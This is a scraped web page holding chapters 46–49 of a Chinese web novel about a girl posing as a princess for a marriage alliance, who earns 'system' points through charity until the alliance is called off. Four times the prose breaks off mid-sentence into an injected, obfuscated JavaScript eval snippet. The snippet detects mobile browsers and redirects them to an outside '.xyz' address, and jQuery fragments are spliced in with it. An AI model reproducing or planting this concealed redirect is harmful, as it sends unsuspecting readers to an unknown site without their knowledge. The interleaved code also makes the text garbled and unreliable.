;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146988|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这就是人性的光辉吗?” “余县丞,您到底帮不帮我标注?不帮的话我找别人了。” “这个容易,我来标注一下……公主,属下最后再劝您三思啊。” “我想好了,你别担心,我知道自己在做什么。” “唉,皇上怎么舍得把这么好的公主送出去?” 余县丞一边说着,一边在地图上把所有的药店标注好。 姜柠看了看,这些药店平均分布在县城的各个地点。 她回到房间,对冬香和小雪说了自己的打算,并让她们清点一下嫁妆里的珠宝。 冬香劝道:“公主,虽然您在做好事,但您好歹是个公主,总不能把珠宝首饰也舍出去吧?” 姜柠道:“珠宝是虚假的灿烂,生命才是永恒的辉煌。” 冬香:“虽然我听不懂,但好像很厉害的样子。” 冬香和小雪十分感动,很快清点好了珠宝的数量。 姜柠让她们把珠宝平均分成十四份,因为城中一共有十四家药店。 接着,姜柠叫来衙役和侍卫,让他们两人一组,把这些珠宝送到各个药铺去,说是买下药铺所有药材,无论谁来开药都免费给他。 有个衙役道:“公主,您的珠宝一看就很贵,买下整个药店都绰绰有余,可以拿回去一些。” 姜柠道:“没关系,宁多勿少,就全给药铺的老板吧。他们心情好,也能把事情办得更好。” “是。” —— 惠民药铺里,钱掌柜正在打盹。 他这家药铺比较偏远,平时生意一般。 这时,忽然有两个衙役上门,把一袋子珠宝放在柜台上。 钱掌柜瞬间清醒了,道:“两位官爷,你们拿这么多珠宝来买药?这都可以买下整间药铺了。” 衙役道:“不是我们要买药,这些珠宝是大公主赠送给你的,说是买下你这里所有的药材。但公主不要这些药材,而是让你免费开药给百姓。稍后会有百姓过来开药,你根据他们的症状,配药给他们就行。” 钱掌柜不敢相信自己的耳朵:“什么?公主买药给全城百姓?那公主能得到什么呢?” “公主什么也得不到,反而失去了珠宝。这就是善良的公主和普通人之间的区别,要不怎么说人家能做公主呢。” “这……这真是太好了,那我要跟来买药的百姓都普及公主的恩惠,让她们感谢公主!” “感不感谢的都无所谓了,反正公主马上就会去北胤和亲,恐怕去了回不来了。” 钱掌柜虽然没见过公主,却觉得很悲伤。 “为什么这么善良的公主要去和亲?” “这种事,也不是我们这些人能左右的。人各有命啊。” “那我要为公主祈福,希望她在北胤过得好一些。” —— 县衙里,姜柠叫来几个书吏,让他们写告示。 告示上写明,公主已经买下了全城的药品,给百姓使用。凡是患病的百姓,都可以去药房免费拿药,药店掌柜会帮忙配药。 但是每人只许拿一个疗程的药,不许贪心多拿。 书吏们写了几十张告示,让衙役们快马加鞭,张贴在全城各处。 百姓们看见告示后,一窝蜂地涌到药店。 46. 新帝(修) 客人:“你好,我要治疗腰酸背痛的膏药。” 药铺老板:“给你。” 客人:“你好,我要治疗风寒的药。” 药铺老板:“好的。” 客人:“你好,来点治秃头的药。” 药铺老板:“你这头太秃了,没法治,下一位。” “哦。” 客人:“你好,我要治耳聋的药。” 药铺老板:“左转采耳,下一位。” 客人:“你好,有没有能让人变聪明的药?” 药铺掌柜:“没有,有的话我就先吃了。下一位。” 客人:“你好,有没有治疗痛经的药?” 药铺老板:“可你是个男人,而且我记得你家里也没有女眷,滚出去。” “哦。” 客人:“老板,我想要一些能让孩子长高的药。” 药铺老板:“是药三分毒,多给他吃点饭菜就行了,下一位。” 客人:“老板,有没有治偏头痛的药?” 药铺老板:“你已经来过两回了,再来就放狗咬你。下一位。” …… …… 十几家药铺的老板,都忙得不可开交。 往年积压的药材,现在全开了出去。 百姓们聚集在药铺,熙熙攘攘的,比庙会还热闹。 各位药铺老板和伙计都忙得脚不沾地。 其中不乏有浑水摸鱼的,但也有很多百姓是真的需要药。 短短一日的工夫,十几家药铺的药几乎都空了。 晚上,系统对姜柠道:“姜柠,恭喜你,施舍药品,获得了两万积分。现在的积分是105200,积分破十万啦!” 姜柠十分激动:“太好了,那我可以改变命运了吗?” “可以。姜柠,请问你是否同意用十万积分改变剧情?” “同意。” “积分已扣除,剩余积分5200。剧情正在改变,请稍后……改变完成。” 姜柠困惑道:“我感觉没什么变化呀。” “你已经不用再去和亲了,不过剧情到底发生了什么变化,我这边暂时没有显示。等一段时间就知道了。” “不用去和亲了……那我是不是可以回家?” “不知道,静观其变吧。现在挺尴尬的,你已经跟真正的大公主萧梦苒互换身份了,如果你回去的话,是继续做公主,还是继续做姜家大小姐?如果身份不换回来,真正的公主肯定不能接受;如果换回来了,皇帝就要向天下人承认,他做出了用臣女代替自己的女儿和亲的卑劣行为。” “那岂不是进退两难?” “我也不知道。总之从现在开始,未来会发生什么已经不确定了,所以我帮不上你了。” “好吧。” 姜柠有些惴惴不安起来。 皇帝会不会派人杀了她? 应该不会吧…… 那总不会将错就错,让姜柠继续当公主吧? 那真正的大公主一定想杀了她…… 还有大皇子怎么办?大皇子还被扣在北胤那边呢。 姜柠觉得心中一团乱麻。 她回到房间,打开了夸夸群。 【姜柠:积分满十万了……但不知道接下来会发生什么。】 【你已被群主移出群聊:什么?这么快就满十万了吗?恭喜姜柠!】 【活人微死:恭喜姜柠!】 【感觉尸体暖暖的:所以不用去和亲了?】 【姜柠:不用了,但我还是不知道未来会经历什么。】 【樱桃小完犊子:想开点,至少不用被男主虐了。】 【有趣的灵魂一百多斤:对,也不会被男主杀死了。】 【只涨工资不长肉:终于熬到这一天了!盼了好久啊!!】 【回笼教教主:一觉醒来,发生巨变。】 【樱桃小完犊子:现在姜柠是当之无愧的大女主了~】 虽然众人给姜柠打气,但姜柠还是有些不安。 —— 两天后,就是八月十五号,原定的姜柠进入北胤的时间。 但是,无事发生。 又等了两天,仍是无事发生。 姜柠继续在公廨处理公务,只是有时候会心不在焉。 姜柠问余县丞:“县令大人得的是什么病?什么时候能好?” 余县丞道:“县令大人是慢性病,腰酸背痛,不能久坐,需要休养。不是什么大病,但也一时难好。公主若是不愿继续处理公务了,可以让县令大人回来处理。” “不,让县令大人继续休息吧。” 姜柠已经习惯了继续处理公务,这样的日子倒过得挺充实的。 这时,任将军匆匆来到县衙,对姜柠说道:“公主,北胤的李将军传来书信,说是和亲一事暂缓,具体缘由他并未告知。他请公主暂时留在栾伊城,等候消息。” 姜柠问道:“他有说大皇子如何处置吗?本来应该用我去换大皇子回来,现在不接我过去了,那大皇子……” “末将也不知道,会继续打听的,公主别着急。” “嗯。” —— 南萧国皇宫。 靳贵妃来到御书房找皇帝,问道:“皇上,听说和亲一事搁置了?这是怎么回事?” 皇帝皱眉道:“前几日,北胤皇帝驾崩,北胤太子也突然暴毙,于是北胤的三皇子慕容显继位了。可是在继位大典上,本来已经暴毙的北胤太子突然出现,指责慕容显加害自己,自己假死才躲过一劫。两边的人马互相交战,到现在还没分出胜负。” 靳贵妃也有些担忧:“怎么会这样,真是节外生枝……和亲公主不送过去,咱们的皇儿怎么能回来?” “你别担心,皇儿迟早会回来的。” 这时,太监过来报告:“禀皇上、贵妃娘娘,姜家大小姐求见。” 靳贵妃道:“快宣。” 真公主萧梦苒走了进来。她现在的身份是姜家大小姐姜柠。 她看见皇帝和靳贵妃,十分欣喜地跑了过来。 靳贵妃赶紧对御书房的下人们说道:“你们都先下去吧。” “是。” 等宫人们都离开,萧梦苒才叫了一声:“父皇,母妃。” 靳贵妃摸了摸她的头,笑道:“前几日不是刚进宫过吗?怎么又来了?” 萧梦苒道:“我想念父皇和母妃了嘛。我不喜欢姜家,姜柠的房间没我大,屋中的陈设没我多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146989|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜家的花园也小……” “梦苒受委屈了。要不这样,让你父皇给礼部尚书姜焕赐一块地,让他在上面建一座别院,专门给你住,怎么样?” 萧梦苒笑道:“好啊。” 皇帝却道:“无缘无故的,赐地干什么?太显眼了。梦苒现在的身份是姜家大小姐,我们不宜加恩太过,否则会引起外界的揣测。” 靳贵妃道:“前阵子我以姜家大小姐跟我投缘为由,收了梦苒为义女。她现在既然明面上是我的义女了,那我多给她一点东西总可以吧?” 皇帝道:“义女总归不是亲女儿,梦苒跟姜柠长得虽像,但也不是完全没破绽,还是低调些好。你若是怕梦苒在姜家过得不好,可以多给她一点钱和首饰,盖别院的事再说吧。” 萧梦苒问道:“父皇,母妃,女儿还要在姜家待多久?” 靳贵妃道:“我和你父皇迟早会想个办法让你回宫来的,义女也可以封为公主的,只不过需要慢慢谋划。” “可是,难道我要一辈子顶着姜柠的名字过日子?我想要我自己的名字。” “这恐怕有点难办啊……你知道你为何会跟姜柠互换身份的。” “我懂……那姜柠去和亲了没有?弟弟什么时候能回来?” “北胤那边出了点差池,暂时不能接和亲公主过去。” “那弟弟怎么办?” “你弟弟是人质,不会有事的。母妃只怕他受苦。” “哼,北胤人要是敢欺负弟弟,父皇就派大将军打死他们!” 皇帝道:“要是有这么容易就好了。” 靳贵妃突然道:“答应和亲的是北胤先帝,如果新君继位,不同意和亲怎么办?” 皇帝沉思道:“应该不会……皇帝本就三宫六院,怎么会拒绝一个和亲公主?现在就等北胤那边分出胜负了。” —— 三天后,慕容显兵败被囚,北胤太子慕容宣登基,改元太和。 群臣询问和亲一事,新帝慕容宣道:“南萧大皇子被擒,让南萧国送来黄金三千两、丝绸五万匹、牛羊各五百头便放人,和亲一事就算了吧。” 有大臣进言:“皇上,南萧国的和亲公主已在边境等候,只需派兵去接,就能入朝。听闻南萧大公主花容月貌,正好与皇上相配。” 慕容宣道:“朕若要纳妃,本国便有许多名门淑女,何必外求?那位南萧公主不过十几岁,若是远嫁北胤,难免孤寂。而且,跟着南萧公主陪嫁过来的还有十几位少女,她们也要远离父母家人,十分可怜。 若有朝一日北胤、南萧两国交恶,南萧公主该如何自处?朕深思熟虑,觉得还是让南萧公主原路返回较为合适。 朕刚刚登基,正是应该广行仁政的时候,就从这件事开始做起吧。” 见慕容宣说得在情在理,大臣们也不再反对。 中书省起草诏令,让边境的李长彬将军负责通知南萧国,不必拿公主来和亲,只需准备好金银礼物,就能换大皇子回去。 同时,中书省给南萧国皇帝发了一封国书,把这些事宜又说了一遍。 —— 消息传到姜柠这里时,姜柠喜出望外:“这么说,北胤新帝不同意和亲,我和其他陪嫁的少女可以回去了?” 47. 滞留(修) 任将军笑道:“正是,北胤新帝不忍见南萧公主和其他姑娘们去国离乡,因此取消了和亲,只向我国索要金银、丝绸和牛羊若干,便可让大皇子回来了。至于公主什么时候启程回京,还需等待皇上的圣旨,末将先恭喜您了。” “太好了……” 姜柠把这个消息告诉了其他陪嫁的少女,她们也是激动不已。 谁都不想嫁到另一个国家,而且还危险重重的。现在直接不用去了,倒符合了众人的心意。 十几个少女手拉着手,围成一个圈,又蹦又跳。 她们自从跟着姜柠来这里,还从来没有这么开心过。 开心的氛围感染了在场的人,其他人也纷纷露出笑容,还有人偷偷抹眼泪。 少女们一边笑,一边议论:“今天早上我听见喜鹊叫,就知道有好事发生!” “我被选中作为公主的陪嫁时,我爹娘哭了好几天!现在我终于可以回家了,我要给他们一个惊喜!” “北胤的新帝真是个好人!” 任将军提醒道:“在我国境内,不要夸别国皇帝哈。” 少女们赶紧捂住了嘴,随即又哈哈大笑。 姜柠对任将军道:“任将军,多谢您告知这一消息。您军务繁忙,先回军中去吧,我等下跟陪嫁少女们一起整理行李。圣旨什么时候到,我就什么时候离开。” 任将军忽然有些伤感:“公主,您要走了……是该离开了,皇宫才是您该待的地方。” 姜柠知道,经过一段时间的相处,大家都有了感情。突然要分别,难免悲伤。 姜柠安慰道:“任将军,以后若有机会,我们应该能再见面的。” “但愿吧。末将会遥祝公主一切顺利。” 姜柠送任将军来到门口,却看见有几十个士兵齐刷刷地站在门外。 任将军有些惊讶:“你们怎么来了?” 看来,这些士兵不是任将军带来的。 其中一个士兵说道:“我们都是之前被北胤俘虏的两千多名士兵之一,大公主花钱把我们赎回来,我们心里很感激。听闻大公主即将返回京城,我们想来辞行。但是两千多人太多了,站不下,大伙就推出我们这几十人作为代表,再次叩谢大公主的相救之恩。” 说着,这几十人齐刷刷地跪下,朝姜柠磕了三个头,然后又默默地起身,低着头,按次序一列一列离开了。 他们没有再看姜柠,也没有说什么。真正的离别愁绪,是没法用语言表达的。 姜柠对他们的大恩,也是没法用磕头来报答的。 他们会把姜柠记在心里。 姜柠看着他们的背影,心里难受极了。 他们并不希望姜柠离开,但是姜柠有自己的去处。他们跟姜柠的短暂相遇,就像是凤凰暂时栖息于地面之上。但凤凰属于天空,终究是要飞走的。 姜柠看着这些士兵的背影,百般滋味在心头。 任将军对她说道:“公主,别看了。在栾伊城的经历,只是您人生中微不足道的插曲而已。您应该向前看,还有美好的未来在等着您。” “嗯。” 姜柠心里却有些担忧,因为她是假公主。如果真的被接回了京城,她是继续以大公主的身份活着?还是会被皇帝秘密处死? 但担忧也没用,她的人生取决于高位者的一句话,还没有真正属于她自己。 —— 系统出现了。 姜柠用意念问它:“现在剧情扭转了,积分还有用吗?” “有用,你可以继续做好事,积攒积分,积分可以在系统商城里兑换东西。” “可以兑换什么?” “有很多东西,但目前大部分没有解锁。我现在能看到的只有十几样产品,比如瘦身丸,一万积分;美白丸,一万积分。” “为什么这么贵?” “因为效果好啊。系统出品,必属精品。比如瘦身丸,吃下去必瘦十斤,且三个月内不反弹。” “有什么有用的商品吗?” “有一个‘真明亮’滴眼液,使用之后视力增加十倍,持续时间为一炷香,五万积分可兑换。还有一个‘大力丸’,吃了之后力气增加二十倍,持续时间为半个时辰,三万积分可兑换。” “听起来还是没什么用啊。” “别这么说嘛,也许你以后用得上。” “但是太贵了,能不能打折?” “我只是低级系统,没有打折的权利。” “明白了。以后我会怎么样?” “走一步看一步吧,由于你扭转了剧情,以后的事情都是未知的,所以我也没法给你什么建议呢。” “如果皇帝要杀我怎么办?” “应该不会吧?好不容易逃脱了虐文男主的掌控,难道转头就被杀死?这也太虐了吧?” “可这里不是虐文吗?” “呜呜呜我不允许这么虐……” “你不允许也没用,你只是个没什么权限的系统。” “人艰不拆。” 过了一会,系统又道:“对了姜柠,你的夸夸群升级了,现在是夸夸群2.0版本。” “升级了?” “对,由于你的出色表现,你的金手指升级了。升级后的功能是:每当你出现失落、沮丧、疲惫等负面情绪时,只需要进夸夸群聊天,心情立刻高涨,精神立刻饱满,能一口气犁十亩地那种,无副作用。” 姜柠觉得有趣:“这样吗?可是我之前跟夸夸群的人聊天时,也会变得很开心。升级后好像没什么不同啊。” “有不同的,之前你在夸夸群里很开心,是因为群友们说的话让你高兴,所以你的高兴还是有逻辑的,是群友的鼓励、支持和肯定让你开心起来。但升级过后,你进夸夸群会毫无逻辑地心情变好,哪怕只是聊聊今天吃了什么。而且,你开心的强度会达到顶级,你会有一种‘没有任何事能难倒老.子’的气概。” “真的吗?那我可要试试看了。” 姜柠回到房间,打开夸夸群。 【姜柠:姐姐们好。】 【活人微死:姜柠好呀。】 【姜柠:哈哈哈哈哈好开心啊】 【樱桃小完犊子:为什么?是因为和亲取消了吗?】 【姜柠:对,有这个原因,但好像就是没来由地开心!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146990|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【你已被群主移出群聊:那太好了,开心最重要!】 【回笼教教主:恭喜姜柠成为第一个不用跟虐文男主见面的虐文女主!】 【姜柠:恭喜我自己!撒花!】 【有趣的灵魂一百多斤:慕容显是原男主吧?他现在怎么样了?】 【姜柠:他篡位失败,被他的兄长囚.禁了,哈哈哈哈哈!现在的北胤皇帝是他的兄长慕容宣。】 【只涨工资不长肉:有史以来最惨的虐文男主,连女主的面都没见到,还被囚.禁,简直要啥没啥,哈哈哈哈哈】 【感觉尸体暖暖的:希望他一辈子别出来,让女主一人独美~】 【姜柠:没错,我要独美!】 姜柠聊完天后,感觉精神饱满,很想做点什么。 她一向对香料有兴趣,之前出嫁时还向皇帝要了两本香谱作为嫁妆。 她便拿出其中一本香谱,想学里面的香方。 她看了看,选择了一款提神的香方。 提神是很多人的需求,尤其是官吏们。他们经常要面对公文,有时候看多了会昏昏欲睡。 如果姜柠能把这种提神香做出来的话,就可以赠送给官吏,获得积分。 姜柠看了一下香谱,需要的材料有沉香、檀香、陈皮、柚子皮、崖柏等。 由于她喜欢制香,很多材料她都有带来,藏在其中一个箱子里。 她把所需的材料取出来,磨成粉末,然后取来少量的粘粉,再准备一碗清水、一个大盘子。 粘粉可以让香粉黏在一起,这样无论做成什么形状都比较方便。 她把香粉跟粘粉混合起来,加入一点点水,开始揉粉。 等水全部渗透后,再加入少量水,这样少量多次地添加。 这个过程有点像揉面团,不同的是面团比较大,但揉香粉是个细致活,必须要非常细心、耐心才行。 揉了两炷香时间,便把香粉揉成了一个香丸。再把香丸搓成长条状,放入香炷中。 挤压香炷,便挤出了像面条一样细长的线香。 这时候的线香比较软,需要分割成长度相同的几段,然后再把这些小段线香来回滚动一下,它们就变直了。 接着,把这些线香放在晒香网上,置于避光通风处晾晒七天左右,便完成了。 姜柠心想,等这些线香能用了,圣旨应该也到了。 没想到,七天过去,线香倒是制成了,但圣旨还是没来。 时间已入九月,天气开始转凉,姜柠穿上了夹棉的衣服。 她的心情也像这天气一样,凉飕飕的。 陪嫁的女孩们都来问姜柠:“公主,为何还没下旨让我们回家?” “是啊,究竟要让我们等到什么时候?” “自从知道能回家了,我就日夜盼着,简直是度日如年啊。” 姜柠安慰道:“也许取消和亲是大事,走流程需要一段时间,大家稍安勿躁。我会一直在这里陪着你们的。” 见姜柠也没法离开,这些女孩的心稍微安定了一些。她们就怕姜柠撇下她们自己走了,毕竟姜柠身份尊贵,但她们身份低微,恐怕无人在意。 48. 使者(修) 姜柠又安慰了她们几句,她们便各自回房了。 姜柠把自己制作好的线香分给众位同僚,道:“这是我自制的柑橘线香,有提神的功效,大家可以试试。” 众人闻了闻,纷纷夸赞道:“这味道很清新啊!” “是啊,我以前用的提神香有些刺鼻,不好闻,用这个倒不错,谢谢公主!” “公主真是心灵手巧啊。” 姜柠笑道:“大家不必客气,我也只是闲来无事,才做点线香。” 系统:“姜柠,你赠送同僚提神线香,获得两百积分。还有,这些天处理公务,获得了一千积分。现在的积分一共是:6400。” “好的。你知不知道皇帝在干什么,为什么不下旨让我们回去?” “不知道哎,不过系统商城里有一项‘打探消息’,一万积分一次,要买吗?” “算了,我还是等消息吧。” —— 南萧国皇宫。 靳贵妃来到御书房,对皇帝道:“皇上,现在应该怎么办?北胤新帝竟然不要和亲公主了,说是奉上金银财宝、牛羊丝绸,就能把大皇子放回来。那和亲公主究竟该如何处理?” 皇帝道:“朕也挺头疼的。本来朕嫁了一个姜柠,再加上十几个少女做陪嫁,另外赠送北胤一些礼物,就可以把大皇子换回来。但是,姜柠所带去的礼物,价值远比不上北胤新帝现在索要的东西。 如果同意北胤新帝的条件,朕就得多出很多黄金、丝绸和牛羊。朕已经发国书给北胤,询问能不能遵照以前的约定,把公主嫁过去,礼物就不给这么多了。 但慕容宣没有同意。” 靳贵妃有些着急:“皇上,区区金银财物,您给北胤就是了。难道大皇子的价值还比不上这些财宝吗?” “当然不是。不过,北胤帝索要的并不是一笔小数目,朕还是觉得能省则省,再交涉一下。” “这交涉来交涉去,大皇子在那边受苦怎么办?皇上,我不管,您得救大皇子,要不然嫔妾就不活了!” 皇帝又是心疼,又是不耐烦,只得耐着性子安抚道:“给钱给物倒也不是不行,但是姜柠……之前我们就是为了让她代替大公主和亲,才让她和大公主互换了身份。现在她回来了,难道还要让她继续当公主,让梦苒继续留在姜家吗?” “嫔妾有一计,您可以先让姜柠回来,让她和梦苒偷偷换回来。换回来之后,留在我们身边的是梦苒,留在姜家的是姜柠。然后再派人杀了姜柠,就说姜家大小姐遇到盗贼,不幸遇害。这样,真正的姜柠死了,梦苒以和亲公主的身份回来了。” 皇帝皱眉道:“这……只怕不妥。让她们俩偷偷换回来就是了,何必杀了姜柠呢?” “不杀了她,万一她心有不甘,把换嫁的事情说出去怎么办?这可有损您的名声啊。” “朕只要警告她,她不敢说出去的。” “不行,她当过一段时间的公主,只怕野心大了。留着她的性命,还不知道会闹出什么事来。” “还是等她回来再考虑吧。现在朕准备好财物,让尚书仆射孙方竹带着财物去边境交换大皇子,顺便把姜柠和其他陪嫁的少女接回来。” “好吧,多谢皇上。” —— 几天后,尚书仆射孙方竹带着黄金三千两、丝绸五万匹、牛羊各五百头,来到了栾伊城。 孙方竹是京城来的钦差,潘县令不敢再告病,亲自到城门口迎接。 任将军也带着几十精兵,一起来迎接。 孙方竹是个威严老者,身材圆胖。他坐在马上抱拳施礼:“任将军,好久不见。旁边这位便是栾伊城的县令吧?” 潘县令道:“正是。” 孙方竹道:“皇上命我带财物过来,跟北胤交换大皇子。所有财物都在这里,还请任将军和潘县令清点一下。交换一事需尽快进行,这么多财物,有失窃的风险,而且牛羊也容易死去。” 任将军道:“我已跟北胤的李长彬将军说过,他派出使者说,只要京城的财货一到,就可以举行交换仪式。如今北胤使者还在,我跟他说一声,让他回去通知李长彬将军,最好明天就能交换。” 孙方竹点头道:“如此甚好。大公主和二皇子在这里吧?本官要先去拜见一下。” 潘县令道:“是,她们住在县衙里,下官带您前去。” 任将军自回军中,不提。 很快,孙方竹便来到了县衙。 姜柠正在公廨中处理公务,跟几个小吏讨论事情。 孙方竹见了她,有些惊讶。 潘县令走上前来,说明事情原委,姜柠赶紧站起身来,对孙方竹道:“孙大人,有劳您送财物过来,一路辛苦了。稍后本公主和二皇弟亲自为您接风。” 孙方竹赶紧说道:“不敢当,下官是来拜见大公主和二皇子的。大公主竟会处理公务?” 姜柠:“只是闲来无事,请教一下众位官吏而已。” 说着,姜柠便派人去将二皇子萧奕知过来。 萧奕知过来后,自然又是跟孙方竹叙旧一番。 二皇子问道:“孙大人,不知我父皇身体好不好?” “二皇子放心,皇上龙体康健,前几日还去围猎了。” “那我就安心了。” 晚上,由姜柠和潘知县做东,宴请孙方竹及其随从。 姜柠又吩咐侍卫:“你去看看任将军有没有空,有空的话请他一起来赴宴。” 半个时辰后,任将军过来了。 他刚坐下,便说道:“我已派使者快马加鞭去容城,找北胤的李长彬将军商议接回大皇子的事。使者回来说,明日午时,便可把大皇子交回来,但他们皇帝所要的财物,必须一点也不少。” 孙方竹道:“嗯,早点将大皇子接回,我也能了却一桩心事,皇上面前也可交差了。大公主和二皇子逗留边境许久,皇上有令,让大公主、二皇子和大皇子一道回去。” 姜柠喜道:“终于能回去了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146991|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,如果明日接到大皇子,确定他没有问题,没有损伤,便可回去。若是他伤得太严重,只怕要在这里休养几日才行。” 姜柠很希望大皇子没事,虽然她心里觉得大皇子成事不足,败事有余。如果不是他被北胤抓了,姜柠也不用来和亲,吃这么多苦头。 好事将近,众人心情都不错,放开吃了起来。 姜柠最近食欲不太好,但是今天晚上,她知道自己快回去了,突然觉得饿了,吃了很多东西。 这时,她忽然想起了一个人——她的乳母金妈妈。 金妈妈是容城人,她把姜柠带到七岁,就回了容城老家。可是现在,容城被北胤占领了,也不知道金妈妈现在怎么样了。 于是,姜柠对任将军说道:“任将军,可否请北胤的李将军行个方便,释放容城里的几个百姓,让他们跟大皇子一起回来?” 任将军问道:“公主在容城有认识的人?” 姜柠道:“是这样的,在离开京城之前,我见到了礼部尚书家的大小姐姜柠。她对我说,她有个乳母是容城人,如果我来到容城,就帮她找一下那个乳母,让她回到姜家一聚。 可我来到边境才发现,容城已被北胤占领,也不知道那位乳母如何了。如果北胤那边愿意释放乳母一家人,本公主愿意出钱相赎。” 任将军道:“原来您要找的是姜大小姐的乳母。只是,容城人口众多,也不知道那位乳母身在何处,是否还活着。容城失陷时,有很多百姓被杀了,就连我手下副将高天阔的家人也被杀了。所以之前,高天阔才设局要杀死北胤俘虏,幸而被公主识破他的阴谋,才让本将军免了杀俘虏的恶名。 我可以派使者去跟北胤的李将军谈判一下,看他愿不愿意放人。他连大皇子都放了,区区几个百姓,想必也不会在意。不过,那位乳母姓甚名谁,家里都有什么人,具体住在容城哪个位置,还请公主告知。” 姜柠:“那位乳母姓金,叫金石榴,身长七尺,又高又胖,脸上有酒窝,今年应该是五十岁。她家有一个丈夫,一个儿子,加上儿媳,一共是四个大人,不知道有没有孩子。她应该是住在容城百雀乡一带。” 任将军点头:“好,我现在派人去容城那边谈判,今晚应该会有消息。” “多谢任将军了。” 任将军叫来一个亲兵,对他嘱咐了一番,那个亲兵便骑马离开了。 而一旁的尚书仆射孙正竹,却有些惊讶。 据他所知,姜家大小姐姜柠因长得跟大公主相似,大公主一向不喜欢她,怎么会帮她找人? 但是,今日他亲眼见到大公主,又觉得大公主跟传言中的性情似乎有所不同…… 他心中有了一些猜测,但并不能说出来,只能揣着明白装糊涂,继续吃饭。 晚饭过后,孙正竹便去了馆驿休息。 而姜柠在房中等着任将军的消息,忐忑不安。 大约戌时三刻,冬香进来道:“公主,任将军那边派人来了,在客厅那边等候。” 49. 回来(修) 姜柠赶紧去客厅,见一个身长八尺、浓眉入鬓、五官硬朗的军官,正站在客厅里。 姜柠认得他,他是任将军手下的副将邢玉楼。 姜柠道:“邢副将,您可是带来了好消息?” 邢玉楼行礼道:“正是。任将军派使者去跟北胤的李将军商议了,问能不能释放容城里的金石榴一家。李将军说可以,只需额外送他二百两银子就行。” 姜柠欣喜道:“太好了,不过我的银子花得差不多了,箱子里应该还有一些金元宝,价值超过二百两,我去找找看。” 邢副将道:“不用了,区区二百两,任将军会替您出的。他说公主有恩于虎贲军,帮您赎回姜家的乳母,就当报恩了。” “那替我多谢任将军了。” 第二天中午,便是接回大皇子的时间。 虽然大家都有点饿,但都没心思吃饭。 耽搁了这么长时间,卷进来这么多人,都是为了平安救回大皇子。 不见到大皇子,大伙都没心情做别的。 栾伊城北边的城门打开,任将军带领一队精兵、孙方竹带着随从和财物,从北门走了出去。 不远处便是容城,双方约定在两城的中间交换人质和财物。 北胤将军李长彬骑着一匹黑马前来,身披铠甲,威风凛凛。 相比之下,任将军脸色便凝重许多。 之前任将军兵败于李长彬之手,丢了容城,至今还心有余悸。 李长彬将军的身后,跟着一辆黑色的马车,想必大皇子萧奕兴就在马车里面。 姜柠也关心这次交易能不能成功,便站在城墙上看。 她身份尊贵,不能跟着出城,以免发生什么乱子。 二皇子萧奕知站在姜柠身侧,一边关注着城外的情况,一边保护着姜柠。 任将军对李长彬道:“马车里面就是我国的大皇子吗?” 李长彬道:“没错。” 说着,他让人掀开车帘,大皇子萧奕兴果然在里面。他被绑得严严实实的,精神萎靡,但表面上看着倒是没什么伤口。 大皇子长得跟其生母靳贵妃有几分相似,模样倒是不错,但满脸的戾气,眉骨凸起,一看便知是个不好惹的主。 他一脸不悦地看着李长彬,问道:“可以放本皇子离开了吗?” 李长彬不紧不慢地说道:“大皇子稍安勿躁,待本将军清点完财物,确认无误,就会放您离开的。这次还要多谢大皇子,为我北胤充实国库。” 面对李长彬的讽刺之语,大皇子不以为意。他并不在意赎回他花了多少钱,只要能平安回去就行了。 任将军仔细看了看大皇子,确保他没有大碍。 李长彬道:“任将军请放心,自从俘虏了贵国的大皇子,我们不敢怠慢,一向好吃好喝招待着。他什么伤也没有,反而胖了几斤。” 任将军抱拳道:“那就多谢李将军关照了。” 李长彬让手下清点金子、丝绸和牛羊,手下清点了半个时辰,回禀道:“回将军,财物数量无误。” 李长彬一挥手:“把这些财物搬走。” 接着,他对任将军道:“贵国的大皇子还给你们了,这辆马车也不必归还了。对了,你要的那几个容城百姓,我也带来了。” 几个北胤士兵押着几个百姓过来,是一家五口,四个大人加一个五六岁的小女孩。 姜柠虽隔得远,但还是认出了金妈妈。金妈妈身边的人应该就是她的家人了。 